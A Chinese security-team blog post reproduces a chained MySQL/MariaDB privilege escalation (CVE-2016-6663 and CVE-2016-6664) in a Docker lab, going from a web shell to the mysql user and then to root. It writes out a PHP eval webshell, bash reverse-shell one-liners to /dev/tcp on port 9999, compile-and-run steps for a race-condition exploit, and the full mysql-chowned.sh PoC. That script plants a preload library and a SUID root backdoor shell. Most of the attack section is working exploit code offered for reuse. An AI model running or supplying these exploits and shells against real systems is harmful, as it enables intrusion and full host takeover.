暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

漏洞复现|MySQL提权漏洞(CVE-2016-6663&CVE-2016-6664)组合提权

灼剑安全团队 2021-08-12
3492

点击上方蓝字关注我们



0x00 前言

曾经面试的时候问过我关于MySQL的提权除了MOF、UDF、启动项外还有什么能提权的呢?然后就在漏洞库里找到了相关MySQL爆出的CVE-2016-6662、CVE-2016-6663、CVE-2016-6664提权漏洞。

之后我在本地搭建docke测试环境,也复现成功了,算是一个额外的小手法,以后各位师傅无法利用MySQL常用的提权方式提权的话,可以试试这个方法。

影响版本:

MariaDB< 5.5.52

MariaDB< 10.1.18

MariaDB< 10.0.28


MySQL<= 5.5.51

MySQL<= 5.6.32

MySQL<= 5.7.14


Percona Server< 5.5.51-38.2

Percona Server< 5.6.32-78-1

Percona Server< 5.7.14-8


Percona XtraDB Cluster< 5.6.32-25.17

Percona XtraDB Cluster< 5.7.14-26.17

Percona XtraDB Cluster< 5.5.41-37.0


GitHub:https://github.com/TheCryingGame/CVE-2016-6663


0x01 环境搭建

1.1、采用docker作为测试系统环境

MySQL=5.5.47

    # docker运行及必要环境配置
    docker run -d -p 83:80 -p 3366:3306 -p 9999:9999(反弹端口) --name MySQLprivileges tutum/lamp:latest //开启
    docker exec -it <container_id> bin/bash
    apt update && apt install -y wget gcc libmysqlclient-dev


    # webshell写入
    echo "<?php @eval(\$_POST[r0n1n]);?>" >  /var/www/html/shell.php
    chmod -R 777 var/www/html
    复制


    1.2、数据库配置

      # 添加用户test,密码123456,授予权限create,drop,insert,select
      mysql
      create database testdb;
      CREATE USER 'test'@'%' IDENTIFIED BY '123456';
      grant create,drop,insert,select on testdb.* to 'test'@'%';
      flush privileges;
      复制


      0x02 www-data权限提升为mysql权限(利用CVE-2016-6663)


      2.1、菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件。


      2.2、反弹shell

        写脚本1.txt  bin/sh 1.txt


        /bin/bash -i >& /dev/tcp/x.x.x.x/9999 0>&1


        /bin/bash -i >& /dev/tcp/10.168.168.141/9999 0>&1


        python -c 'import pty; pty.spawn("/bin/bash")'
        复制


        2.3、反弹shell的监听端,执行如下指令

          cd var/www/html/


          gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient


          ./mysql-privesc-race test 123456 localhost testdb
          复制


          如图可以看到已提升为mysql权限


          0x03 Mysql权限提升为root权限(利用CVE-2016-6664)


          注意:目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式,不过tutum/lamp日志方式为syslog,需要如下修改

            vi etc/mysql/conf.d/mysqld_safe_syslog.cnf
            删除syslog
            重启mysql:mysqld_safe --user=mysql
            复制


            条件:grep -r syslog etc/mysql 返回没有任何结果既满足“基于文件的日志”要求

            解决办法:上传mysql-chowned.sh,源代码:

              #!/bin/bash -p
              #
              # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
              # mysql-chowned.sh (ver. 1.0)
              #
              # CVE-2016-6664 / OCVE-2016-5617
              #
              # Discovered and coded by:
              #
              # Dawid Golunski
              # dawid[at]legalhackers.com
              #
              # http://legalhackers.com
              #
              #
              # This PoC exploit allows attackers to (instantly) escalate their privileges
              # from mysql system account to root through unsafe error log handling.
              # The exploit requires that file-based logging has been configured (default).
              # To confirm that syslog logging has not been enabled instead use:
              # grep -r syslog /etc/mysql
              # which should return no results.
              #
              # This exploit can be chained with the following vulnerability:
              # CVE-2016-6663 / OCVE-2016-5616
              # which allows attackers to gain access to mysql system account (mysql shell).
              #
              # In case database server has been configured with syslog you may also use:
              # CVE-2016-6662 as an alternative to this exploit.
              #
              # Usage:
              # ./mysql-chowned.sh path_to_error.log
              #
              # See full advisory for details at:
              #
              # http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
              #
              # Disclaimer:
              # For testing purposes only. Do no harm.
              #

              BACKDOORSH="/bin/bash"
              BACKDOORPATH="/tmp/mysqlrootsh"
              PRIVESCLIB="/tmp/privesclib.so"
              PRIVESCSRC="/tmp/privesclib.c"
              SUIDBIN="/usr/bin/sudo"

              function cleanexit {
              # Cleanup
              echo -e "\n[+] Cleaning up..."
              rm -f $PRIVESCSRC
              rm -f $PRIVESCLIB
              rm -f $ERRORLOG
              touch $ERRORLOG
              if [ -f /etc/ld.so.preload ]; then
              echo -n > /etc/ld.so.preload
              fi
              echo -e "\n[+] Job done. Exiting with code $1 \n"
              exit $1
              }

              function ctrl_c() {
              echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
              cleanexit 0
              }

              #intro
              echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
              echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

              # Args
              if [ $# -lt 1 ]; then
              echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
              echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
              exit 3
              fi

              # Priv check

              echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
              id | grep -q mysql
              if [ $? -ne 0 ]; then
              echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
              exit 3
              fi

              # Set target paths
              ERRORLOG="$1"
              if [ ! -f $ERRORLOG ]; then
              echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
              exit 3
              fi
              echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

              # [ Active exploitation ]

              trap ctrl_c INT
              # Compile privesc preload library
              echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
              cat <<_solibeof_>$PRIVESCSRC
              #define _GNU_SOURCE
              #include <stdio.h>
              #include <sys/stat.h>
              #include <unistd.h>
              #include <dlfcn.h>
              #include <sys/types.h>
              #include <sys/stat.h>
              #include <fcntl.h>

              uid_t geteuid(void) {
              static uid_t (*old_geteuid)();
              old_geteuid = dlsym(RTLD_NEXT, "geteuid");
              if ( old_geteuid() == 0 ) {
              chown("$BACKDOORPATH", 0, 0);
              chmod("$BACKDOORPATH", 04777);
              //unlink("/etc/ld.so.preload");
              }
              return old_geteuid();
              }
              _solibeof_
              /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
              if [ $? -ne 0 ]; then
              echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
              cleanexit 2;
              fi


              # Prepare backdoor shell
              cp $BACKDOORSH $BACKDOORPATH
              echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

              # Safety check
              if [ -f /etc/ld.so.preload ]; then
              echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
              exit 2
              fi

              # Symlink the log file to /etc
              rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
              if [ $? -ne 0 ]; then
              echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
              cleanexit 3
              fi
              echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

              # Wait for MySQL to re-open the logs
              echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
              read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
              if [ "$THE_ANSWER" = "y" ]; then
              echo -e "Got it. Executing 'killall mysqld' now..."
              killall mysqld
              fi
              while :; do
              sleep 0.1
              if [ -f /etc/ld.so.preload ]; then
              echo $PRIVESCLIB > /etc/ld.so.preload
              rm -f $ERRORLOG
              break;
              fi
              done

              # /etc/ dir should be owned by mysql user at this point
              # Inject the privesc.so shared library to escalate privileges
              echo $PRIVESCLIB > /etc/ld.so.preload
              echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
              echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
              echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
              chmod 755 /etc/ld.so.preload

              # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
              echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
              sudo 2>/dev/null >/dev/null

              #while :; do
              # sleep 0.1
              # ps aux | grep mysqld | grep -q 'log-error'
              # if [ $? -eq 0 ]; then
              # break;
              # fi
              #done

              # Check for the rootshell
              ls -l $BACKDOORPATH
              ls -l $BACKDOORPATH | grep rws | grep -q root
              if [ $? -eq 0 ]; then
              echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
              echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
              else
              echo -e "\n[!] Failed to get root"
              cleanexit 2
              fi


              # Execute the rootshell
              echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
              $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
              $BACKDOORPATH -p

              # Job done.
              cleanexit 0

              复制


              注意:必须以mysql权限执行才能成功提为root,可以利用CVE-2016-6663提升为mysql权限的shell执行如下指令

                wget https://github.com/firebroo/CVE-2016-6663/blob/master/poc.sh
                chmod 777 poc.sh
                ./poc.sh /var/log/mysql/error.log
                复制


                已获得root权限


                0x04 总结


                1、从www-data权限提升为MySQL

                (1)已经getshell,当前为www-data权限;

                (2)获取到一个拥有create,drop,insert,select权限的数据库账号权限;

                (3)提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权。

                2、从MySQL提升为root权限

                (1)目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可);

                (2)前提在mysql权限下运行才能利用(可先获取mysql权限)。


                ☆ END ☆

                长按关注

                灼剑(Tsojan)安全团队



                点个在看你最好看



                文章转载自灼剑安全团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                评论